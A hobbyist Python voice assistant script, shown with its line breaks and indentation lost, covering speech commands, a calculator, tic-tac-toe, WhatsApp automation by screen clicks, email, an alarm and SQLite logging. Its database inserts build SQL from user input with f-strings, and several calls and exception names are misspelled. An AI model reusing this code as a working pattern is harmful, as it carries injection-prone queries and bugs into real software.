Rynkll696 / HHimport pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") 